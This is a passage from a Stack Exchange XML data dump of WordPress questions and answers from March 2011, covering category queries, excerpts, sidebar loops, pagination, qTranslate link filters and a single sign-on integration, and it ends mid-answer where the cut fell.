  <row Id="11462" PostTypeId="1" AcceptedAnswerId="11465" CreationDate="2011-03-08T12:04:25.770" Score="0" ViewCount="77" Body="&lt;p&gt;i'd like to have a small news box in my sidebar - so i need to display just a few lines of text, separated from the actual the_content() - how could i do that?&#xA;it should be somekind of quicktag which will be hidden in the full post content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="3030" LastActivityDate="2011-03-08T12:08:18.620" Title="definining own teaser text for post" Tags="&lt;posts&gt;&lt;content&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="11463" PostTypeId="2" ParentId="11459" CreationDate="2011-03-08T12:05:21.307" Score="0" ViewCount="" Body="&lt;p&gt;Have a look at the category query parameters here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Category_Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/WP_Query#Category_Parameters&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-03-08T12:05:21.307" />
  <row Id="11464" PostTypeId="2" ParentId="11459" CreationDate="2011-03-08T12:08:07.543" Score="3" ViewCount="" Body="&lt;p&gt;simply add this above your loop&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'posts_per_page' =&amp;gt; 10,&#xA;    'category__in' =&amp;gt; array( 2, 6 ), //change and add the category ids here&#xA;    'orderby' =&amp;gt; 'date',&#xA;    'order' =&amp;gt; 'ASC')&#xA;query_posts($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you can read more about query_posts Parameters &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/WP_Query#Parameters&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;By popular demand :)&#xA;here is another example to doing the same but using tax_query&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'tax_query' =&amp;gt; array(&#xA;        array(&#xA;            'taxonomy' =&amp;gt; 'category',&#xA;            'field' =&amp;gt; 'slug',&#xA;            'terms' =&amp;gt; array('category1','category2') ////change and add the category slugs here&#xA;        )&#xA;    )&#xA;    'posts_per_page' =&amp;gt; 10,&#xA;    'orderby' =&amp;gt; 'date',&#xA;    'order' =&amp;gt; 'ASC')&#xA;query_posts($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-03-08T13:20:36.967" LastActivityDate="2011-03-08T13:20:36.967" CommentCount="3" />
  <row Id="11465" PostTypeId="2" ParentId="11462" CreationDate="2011-03-08T12:08:18.620" Score="1" ViewCount="" Body="&lt;p&gt;Use this widget: &lt;a href=&quot;http://wordpress.org/extend/plugins/recent-posts-with-excerpts/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/recent-posts-with-excerpts/&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-03-08T12:08:18.620" CommentCount="2" />
  <row Id="11466" PostTypeId="2" ParentId="11453" CreationDate="2011-03-08T12:18:59.987" Score="0" ViewCount="" Body="&lt;p&gt;You seem to be mixing up &lt;code&gt;wp_list_categories&lt;/code&gt; arguments with &lt;code&gt;wp_dropdown_categories&lt;/code&gt;, so i've removed them from the code that follows, i've also assumed the include argument is suppose to refer to the currently selected item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For ref:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_dropdown_categories&quot; rel=&quot;nofollow&quot;&gt;wp_dropdown_categories&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_list_categories&quot; rel=&quot;nofollow&quot;&gt;wp_list_categories&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Suggested code:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $current_user;&#xA;&#xA;get_currentuserinfo();&#xA;&#xA;$authorcategory = get_user_meta( $current_user-&amp;gt;ID, 'authorcategory', true );&#xA;$user_term = get_term_by( 'slug', $authorcategory, 'blogs');&#xA;&#xA;// Uncomment the two commas before print for debug&#xA;// print '&amp;lt;pre&amp;gt;';print_r( $authorcategory );print '&amp;lt;/pre&amp;gt;';&#xA;&#xA;if( $user_term ) {&#xA;    $args = array(&#xA;        'orderby' =&amp;gt; 'name',&#xA;        'order' =&amp;gt; 'ASC',&#xA;        'show_last_update' =&amp;gt; 0,&#xA;        'show_count' =&amp;gt; 0,&#xA;        'hide_empty' =&amp;gt; 0,&#xA;        'selected' =&amp;gt; 0,&#xA;        'child_of' =&amp;gt; $user_term-&amp;gt;ID,&#xA;        'hierarchical' =&amp;gt; true,&#xA;        'title_li' =&amp;gt; __( 'Categories' ),&#xA;        'show_option_none' =&amp;gt; __('No categories'),&#xA;        'taxonomy' =&amp;gt; 'blogs'&#xA;    );&#xA;    wp_dropdown_categories($args); &#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You didn't need either of these two lines..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_cat_id = get_cat_id($authorcategory);&#xA;$my_cat_name = get_cat_name($my_cat_id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You already have a complete object of that term in &lt;code&gt;$myterm&lt;/code&gt; after you call &lt;code&gt;get_term_by&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-08T16:29:30.580" LastActivityDate="2011-03-08T16:29:30.580" CommentCount="35" />
  <row Id="11467" PostTypeId="1" AcceptedAnswerId="11474" CreationDate="2011-03-08T12:47:41.723" Score="0" ViewCount="142" Body="&lt;p&gt;I'm having problems setting up a single WordPress template page to display post data outside of the Loop.  The page has a left sidebar in which I want to display post meta data, tags and navigation links to previous and next posts, followed by a main column with the post title and content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;    &amp;lt;title&amp;gt;Lorem ipsum&amp;lt;/title&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;    &amp;lt;body&amp;gt;&#xA;    &amp;lt;div id=&quot;sidebar&quot;&amp;gt;&#xA;        &amp;lt;section&amp;gt;&#xA;            &amp;lt;p&amp;gt;The post on this page is a &amp;lt;?php if (in_category('apples')) { ?&amp;gt; &amp;lt;a href=&quot;http://mydomain.com/category/apples/&quot; rel=&quot;nofollow&quot;&amp;gt;apples&amp;lt;/a&amp;gt; blog post.  &amp;lt;?php } else { ?&amp;gt; &amp;lt;a href=&quot;mydomain.com/category/pears/&quot; rel=&quot;nofollow&quot;&amp;gt;pears&amp;lt;/a&amp;gt; blog post. &amp;lt;?php }; ?&amp;gt;.  You can browse the &amp;lt;a href=&quot;http://mydomain.com/archives/&quot; rel=&quot;nofollow&quot;&amp;gt;Archives&amp;lt;/a&amp;gt; to find more articles of this type.&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/section&amp;gt; &amp;lt;!-- post-metadata --&amp;gt;               &#xA;        &amp;lt;nav&amp;gt;&#xA;            &amp;lt;h2 class=&quot;sidebar-title&quot;&amp;gt;Previous&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;&amp;lt;?php previous_post_link('&amp;lt;strong&amp;gt;%link&amp;lt;/strong&amp;gt;'); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&#xA;            &amp;lt;h2 class=&quot;sidebar-title&quot;&amp;gt;Next&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;&amp;lt;?php next_post_link('&amp;lt;strong&amp;gt;%link&amp;lt;/strong&amp;gt;'); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/nav&amp;gt;  &amp;lt;!-- post-navigation --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;        &amp;lt;article id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; class=&quot;post&quot; role=&quot;main&quot;&amp;gt;&#xA;            &amp;lt;header&amp;gt;&#xA;                &amp;lt;p class=&quot;post-date&quot;&amp;gt;&amp;lt;time datetime=&quot;2009-09-04&quot;&amp;gt;&amp;lt;?php the_time('F jS, Y') ?&amp;gt;&amp;lt;/time&amp;gt;&amp;lt;/p&amp;gt;&#xA;                &amp;lt;h1&amp;gt;&#xA;                    &amp;lt;?php the_title(); ?&amp;gt;&#xA;                &amp;lt;/h1&amp;gt;&#xA;            &amp;lt;/header&amp;gt;&#xA;            &amp;lt;?php the_content(); ?&amp;gt; &#xA;        &amp;lt;/article&amp;gt; &amp;lt;!-- post --&amp;gt;&#xA;&#xA;        &amp;lt;section id=&quot;comments&quot;&amp;gt;&#xA;            &amp;lt;?php comments_template( '', true ); ?&amp;gt;&#xA;        &amp;lt;/section&amp;gt;  &amp;lt;!-- comments --&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt; &amp;lt;!-- content --&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I'm trying to solve the issue is by running a separate loop in the sidebar (sidebar-single.php), rewinding and then running it again in the contents section (single.php).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, while the data from the first loop is diplaying correctly in the sidebar, the loop doesn't rewind for some reason and as a result the content for the next post displays in the content part of the page.  See an example &lt;a href=&quot;http://beta.donaldjenkins.net/2011/02/alternatives-to-google-search-using-glims-with-blekko-duck-duck-go-or-wolfram-alpha-in-safari/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas as to how the non-rewinding issue in this setup can be fixed, or alternatively how the objective can be attained by other means?&lt;/p&gt;&#xA;" OwnerUserId="3796" LastEditorUserId="3796" LastEditorDisplayName="" LastEditDate="2011-03-08T12:58:09.697" LastActivityDate="2011-03-08T14:07:17.360" Title="Including post data in a sidebar occurring outside of and before the Loop" Tags="&lt;query-posts&gt;&lt;sidebar&gt;&lt;loop&gt;" AnswerCount="2" />
  <row Id="11468" PostTypeId="2" ParentId="11459" CreationDate="2011-03-08T12:52:54.557" Score="0" ViewCount="" Body="&lt;p&gt;The easiest way to do this is to have use the category name in the query before the loop starts.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts($query_string . '&amp;amp;category_name='Your Category, Another Category'); ?&amp;gt;&#xA;&#xA;&amp;lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I haven't tested it but should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also check out &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/query_posts&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3766" LastActivityDate="2011-03-08T12:52:54.557" />
  <row Id="11469" PostTypeId="2" ParentId="9327" CreationDate="2011-03-08T12:54:47.630" Score="0" ViewCount="" Body="&lt;p&gt;If you want to use this externally(per your comments), to keep the operation cheap you could do something like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// You'll need to make sure the path is correct here&#xA;include_once 'wp-config.php';&#xA;include_once 'wp-includes/wp-db.php';&#xA;&#xA;// Of course update the following line with a more appropriate query&#xA;$result = $wpdb-&amp;gt;get_results(&quot;SELECT * FROM $wpdb-&amp;gt;posts&quot;); &#xA;&#xA;print '&amp;lt;pre&amp;gt;';&#xA;print_r( $result ); // Remove and do whatever you need to do&#xA;print '&amp;lt;/pre&amp;gt;';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Loading &lt;code&gt;wp-config.php&lt;/code&gt; and &lt;code&gt;wp-db.php&lt;/code&gt; should be enough to call upon the &lt;code&gt;$wpdb&lt;/code&gt; methods to query the DB for whatever data you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if you need an example SQL query to fetch posts based on meta.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-03-08T12:54:47.630" CommentCount="1" />
  <row Id="11470" PostTypeId="1" AcceptedAnswerId="11471" CreationDate="2011-03-08T13:03:14.823" Score="0" ViewCount="111" Body="&lt;p&gt;i'd like to use excerpts but for some reason the excerpt editor is not visible when editing posts. i'm using wordpress v3.1 - already searched up the options but couldn't find anything .. :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;do i need a plugin for using excerpts? shouldn't it be included by default in wordpress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="3030" LastActivityDate="2011-03-08T13:10:35.900" Title="excerpt box not visible" Tags="&lt;excerpt&gt;" AnswerCount="1" />
  <row Id="11471" PostTypeId="2" ParentId="11470" CreationDate="2011-03-08T13:10:35.900" Score="2" ViewCount="" Body="&lt;p&gt;Do you have the excerpt field enabled in screen options?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/MSvpi.png&quot; alt=&quot;Enable excerpt&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screen options is in the top right-hand corner the screen, next to the help button (under the logout link).&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-03-08T13:10:35.900" CommentCount="2" />
  <row Id="11472" PostTypeId="2" ParentId="8887" CreationDate="2011-03-08T13:35:52.083" Score="0" ViewCount="" Body="&lt;p&gt;OK, the approach that's working for me is as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Assume that the main site user database is authoritative. The main site login cookie contains an ID and a hash of the site password.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Get the cookie from the main site and revalidate it against the main site's authentication API&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If valid, use the email address from the return value as the 'user_login' value for WP, and the hashed site password as the WP password&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Test if this user exists in WP by using wp_authenticate('user_login', 'user_pass'). This returns a WP_USER object on success, or a WP_ERROR object on failure&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If WP_ERROR, then use use wp_update_user() to create a user (or update a user with a changed password).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Login via wp_set_current_user(), wp_set_auth_cookie() and do_action('wp_login, id)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;(This is all contained in a function that's attached to the 'init' action)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems to be working - valid site users unknown to WP are automatically created. Password changes are catered for, and if the site cookie is set, and the WP user exists, the SSO is automatic and pretty seamless.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-03-08T13:35:52.083" CommentCount="0" />
  <row Id="11473" PostTypeId="2" ParentId="9507" CreationDate="2011-03-08T13:39:43.623" Score="0" ViewCount="" Body="&lt;p&gt;I'm working through how I'm doing this over on this question: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/8887/sso-authentication-integration-with-external-directory-service&quot;&gt;SSO / authentication integration with external &amp;#39;directory service&amp;#39;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-03-08T13:39:43.623" />
  <row Id="11474" PostTypeId="2" ParentId="11467" CreationDate="2011-03-08T14:04:15.600" Score="0" ViewCount="" Body="&lt;p&gt;did you call rewind posts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done something similar on a site and used css to solve. The site uses 960 grid (960.gs), which comes packaged with &quot;push&quot; and &quot;pull&quot; classes that let you rearrange content relative to its position in the markup. In our case, the sidebar content is coming from a sidebar template and is called after the main content. We use the css classes to push the main section to the right alignment and pull the sidebar to the left alignment.&lt;/p&gt;&#xA;" OwnerUserId="3520" LastActivityDate="2011-03-08T14:04:15.600" CommentCount="2" />
  <row Id="11475" PostTypeId="2" ParentId="11467" CreationDate="2011-03-08T14:07:17.360" Score="0" ViewCount="" Body="&lt;p&gt;What you really need to show us is the relevant code from your sidebar-single.php. But at as guess, how are you rewinding? If you aren't using &lt;code&gt;wp_reset_query()&lt;/code&gt;, you might want to try that. &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_reset_query&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_reset_query&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-03-08T14:07:17.360" CommentCount="2" />
  <row Id="11476" PostTypeId="1" AcceptedAnswerId="11499" CreationDate="2011-03-08T14:35:17.340" Score="0" ViewCount="172" Body="&lt;p&gt;I currently grab an array of user data from a query. I then use a foreach to loop through them and apply styles and divs to output them to the page. This all works great but i would like to paginate the array into the wordpress paged option. So if the user has set the max posts per page to be 10 and the array contains 20 results i want to stop at 10 and have a link to view the next page which would show 11-20. I have done something similar in the past with the standard wordpress loop with a if have posts thing with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;? $paged = (get_query_var('paged')) ? get_query_var('paged') : 1;?&amp;gt;&#xA;&#xA;&amp;lt;?php if ( have_posts() ) : ?&amp;gt;&#xA;$limit = get_option('posts_per_page');&#xA;&#xA;$args = array(&#xA;    'paged' =&amp;gt; $paged,&#xA;'post_per_page' =&amp;gt; $limit&#xA;);&#xA;query_posts($args);?&amp;gt;&#xA;&amp;lt;?php while (have_posts()) : the_post(); $counter++; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then i would have the prev / next links:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($counter == $limit) { ?&amp;gt;&#xA;      &amp;lt;div class=&quot;greyBtn nextBtn&quot;&amp;gt;&amp;lt;?php next_posts_link('&amp;lt;span&amp;gt;Next &amp;amp;raquo;&amp;lt;/span&amp;gt;') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;?php if ($paged &amp;gt; 1) { ?&amp;gt;&#xA;    &amp;lt;div class=&quot;greyBtn previousBtn&quot;&amp;gt;&amp;lt;?php previous_posts_link('&amp;lt;span&amp;gt;&amp;amp;laquo; Prev&amp;lt;/span&amp;gt;') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to do this same logic for my foreach:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;? foreach ($all_members as $member) {?&amp;gt;&#xA;     //Do Loop Stuff&#xA;   &amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to do this?&lt;/p&gt;&#xA;" OwnerUserId="3776" LastEditorUserId="3776" LastEditorDisplayName="" LastEditDate="2011-03-08T15:57:31.827" LastActivityDate="2011-03-08T18:33:22.423" Title="Wordpress: paginating array using a foreach" Tags="&lt;query&gt;&lt;pagination&gt;&lt;foreach&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="11477" PostTypeId="1" AcceptedAnswerId="11483" CreationDate="2011-03-08T14:43:47.597" Score="0" ViewCount="477" Body="&lt;p&gt;I am working with the &lt;a href=&quot;http://www.qianqin.de/qtranslate/&quot; rel=&quot;nofollow&quot;&gt;qTranslate plugin&lt;/a&gt; to create a multi-lingual website. The plugin does a great job of translation except for on the &lt;code&gt;next_posts_link&lt;/code&gt; &amp;amp; &lt;code&gt;previous_posts_link&lt;/code&gt; template tags. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a user has selected a different language the URL should change from:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mysite.com/test/page/2&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/test/page/2&lt;/a&gt; (for default language)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mysite.com/fr/test/page/2&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/fr/test/page/2&lt;/a&gt; (for french language)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin provides functions for modification/translation of URLs using the  &lt;code&gt;qtrans_convertURL($url)&lt;/code&gt; function. The problem I am having is finding a suitable hook or filter that will allow me to modify the URL output by the next_posts_link &amp;amp; previous_posts_link template tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest two WordPress filters I have found are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('next_posts_link_attributes', 'my_next_attr');&#xA;add_filter('previous_posts_link_attributes', 'my_prev_attr');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any tips would be most welcome. &lt;/p&gt;&#xA;" OwnerUserId="3310" LastActivityDate="2011-03-08T16:33:00.220" Title="Filter the URL of next_posts_link &amp; previous_posts_link" Tags="&lt;filters&gt;&lt;hooks&gt;&lt;language&gt;&lt;plugin-qtranslate&gt;" AnswerCount="2" />
  <row Id="11478" PostTypeId="2" ParentId="11477" CreationDate="2011-03-08T14:52:01.197" Score="2" ViewCount="" Body="&lt;p&gt;Run a filter on &lt;code&gt;get_pagenum_link&lt;/code&gt; and you should be able to do what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;next_posts_link&lt;/code&gt; / &lt;code&gt;previous_posts_link&lt;/code&gt; functions each call functions that in turn call other functions, which eventually route back to the &lt;code&gt;get_pagenum_link&lt;/code&gt; function which provides a filter by the same name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should give you the control you need, though post a comment if you specifically need an example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the singular post link functions, ie. &lt;code&gt;next_post_link&lt;/code&gt; / &lt;code&gt;previous_post_link&lt;/code&gt; (note the non-plural other readers) there's a filter hook with a matching name, eg. &lt;code&gt;next_post_link&lt;/code&gt; and &lt;code&gt;previous_post_link&lt;/code&gt;..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-08T15:50:43.983" LastActivityDate="2011-03-08T15:50:43.983" CommentCount="6" />
  <row Id="11479" PostTypeId="1" CreationDate="2011-03-08T14:57:07.490" Score="0" ViewCount="272" Body="&lt;p&gt;I'm developing a WordPress theme with some theme options (using the &lt;a href=&quot;http://themeshaper.com/2010/06/03/sample-theme-options/&quot; rel=&quot;nofollow&quot;&gt;ThemeShaper sample theme options page&lt;/a&gt;), and one of the options I want is to allow users to set their own link colours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment I can get the hex value they set (say #134679 or something) and spit it out somewhere, but I don't know how to include it in the theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Presumably it needs to be dynamically added to a stylesheet (or a new stylesheet dynamically generated?) or something like that, in order to then be linked to from the theme's pages and all start to work. If so, how is this done? And what's the 'best' way to do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I'm not a PHP person, at all, so... layman's language, please. :)&lt;/p&gt;&#xA;" OwnerUserId="2666" LastActivityDate="2011-03-08T16:49:04.740" Title="Using theme options to change link colours" Tags="&lt;css&gt;&lt;theme-options&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="11480" PostTypeId="1" CreationDate="2011-03-08T14:58:01.093" Score="0" ViewCount="111" Body="&lt;p&gt;I was wondering if there was a plugin that could do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;user goes to page on wordpress site&lt;/li&gt;&#xA;&lt;li&gt;user fills out their email address&lt;/li&gt;&#xA;&lt;li&gt;Clicks Email Form button&lt;/li&gt;&#xA;&lt;li&gt;user gets an email from my preconfigured email address via the plug with an attachment I have on my wordpress server somewhere, and some text explaining how to fill out the form or something.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1269" LastActivityDate="2011-05-08T00:44:13.473" Title="Is there a plugin that allows a user of your site to get an email from you with an attachment?" Tags="&lt;plugins&gt;&lt;attachments&gt;&lt;email&gt;" AnswerCount="1" />
  <row Id="11481" PostTypeId="2" ParentId="11461" CreationDate="2011-03-08T14:59:28.030" Score="0" ViewCount="" Body="&lt;p&gt;For one thing, you don't have to include wp-config or wp-db when you use wp-load. And as t31os says, single-quotes around variables will keep them from being interpreted by PHP.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;include_once('wp-load.php');&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;&amp;lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot; /&amp;gt;&#xA;&amp;lt;title&amp;gt;Untitled Document&amp;lt;/title&amp;gt;&#xA;&amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;/* styles go here */&#xA;&amp;lt;/style&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&#xA;&amp;lt;body&amp;gt;&#xA;&amp;lt;div id=&quot;wrapper&quot;&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;top_badge&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php &#xA;&#xA;if ( is_user_logged_in() ) {&#xA;&#xA;global $user_ID;&#xA;&#xA;// Get the 'paypal_user' info for the user. Just fetch a single&#xA;// value, not an array.&#xA;$paypal_user = get_user_meta($user_ID, 'paypal_user', true);&#xA;$exp_date = $paypal_user-&amp;gt;expire_date;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;member_no_1&quot;&amp;gt;&amp;lt;?php echo $user_ID ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;member_lp_1&quot;&amp;gt;PR34 2PL&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;member_exp_1&quot;&amp;gt;&amp;lt;?php echo $exp_date ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Give that a shot. Works for me, assuming that you put this file in the same directory that &lt;code&gt;wp-load.php&lt;/code&gt; lives in.&lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-03-08T14:59:28.030" CommentCount="1" />
  <row Id="11482" PostTypeId="2" ParentId="11457" CreationDate="2011-03-08T15:03:42.767" Score="0" ViewCount="" Body="&lt;p&gt;The super admin menu was renamed 'Network', and now it lives in the upper-right of your admin pages, near your profile link. Is that what you're looking for?&lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-03-08T15:03:42.767" CommentCount="3" />
  <row Id="11483" PostTypeId="2" ParentId="11477" CreationDate="2011-03-08T15:03:56.290" Score="0" ViewCount="" Body="&lt;p&gt;Thanks to the helpful tip from @t31os the issue can be fixed with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/***************************************************************&#xA;* Function qtranslate_next_previous_fix&#xA;* Ensure that the URL for next_posts_link &amp;amp; previous_posts_link work with qTranslate&#xA;***************************************************************/&#xA;&#xA;add_filter('get_pagenum_link', 'qtranslate_next_previous_fix');&#xA;&#xA;function qtranslate_next_previous_fix($url) {&#xA;    return qtrans_convertURL($url);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This fix works for custom post types too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This second function ensures that the &lt;code&gt;next_post_link&lt;/code&gt; &amp;amp; 